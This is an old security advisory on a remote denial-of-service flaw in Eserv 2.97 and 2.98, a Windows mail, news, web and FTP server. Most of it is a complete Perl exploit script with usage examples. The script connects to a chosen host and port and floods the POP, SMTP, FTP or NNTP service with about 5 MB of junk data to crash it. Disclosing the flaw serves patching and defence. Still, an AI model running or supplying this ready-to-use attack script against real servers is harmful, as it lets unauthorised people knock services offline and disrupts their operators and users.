[NT] Eserv Remote Denial of Service (5mb Garbage)

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Date: 01/05/03

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      Eserv Remote Denial of Service (5mb Garbage)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.eserv.ru/> Eserv is a Mail, News, Web, FTP and Proxy Servers
    for Win95/98/NT/2000. A security vulnerability in the product allows
    remote attackers to cause the server to crash by sending it more than 5Mb
    of data.

    DETAILS

    Vulnerable systems:
     * Eserv version 2.98
     * Eserv version 2.97 and prior

    Exploit:
    #!/usr/bin/perl
    ######################################################
    #EServ/2.97 remote DoS xsploit
    #Bugs founded in v.2.97 but I think that 2.98 is
    #vulnerable too.
    #################
    #Usage: perl EServ.DoS.pl [host] [port] [service_type]
    #Where 'service_type' - service to attack (pop, smtp, ftp, nntp)
    #Example: perl EServ.DoS.pl localhost 110 pop
    #################
    #If something wrong or u wanna to discuss something,
    #contact me: "D4rkGr3y" <grey_1999@mail.ru> icq: 540981
    #######################################################
    use IO::Socket;
    $host = $ARGV[0];
    $port = $ARGV[1];
    $param = $ARGV[2];
    $data = "a";
    print "\n\n";;
    print "#Product: EServ/2.97 - www.eserv.ru\n";
    print "#Vuln: remote DoS\n";
    print "#Xsploit by D4rkGr3y\n";
    print "#Warning: if u use dial-up connection, attack can take a few
    time.\n\n";
    if ($param) {
    $num = "4950001" if $param eq "pop";
    $num = "4960000" if $param eq "smtp";
    $num = "5005312" if $param eq "ftp";
    $num = "5001215" if $param eq "nntp";
    die "Error in params\n" if !$num;
    print "Connecting...";
    $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
    Proto => "tcp", Type => SOCK_STREAM) or die "Socket
    error.\n";
    print "OK\n";
    $buf .= $data x $num;
    print "Attacking...";
    print $socket "$buf\n";
    print "OK\n\n";
    print "Vizit us at www.dhgroup.org";
    close($socket);
    } else {
      print "Error in Params.\n";
      print "Usage: perl EServ.DoS.pl [host] [port] [service_type]\n";
      print "Where 'service_type' - service to attack (pop, smtp, ftp,
    nntp)\n";
      print "Example: perl EServ.DoS.pl 127.0.0.1 110 pop\n";
      exit;
    }

    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:grey_1999@mail.ru> D4rkGr3y.

    ========================================

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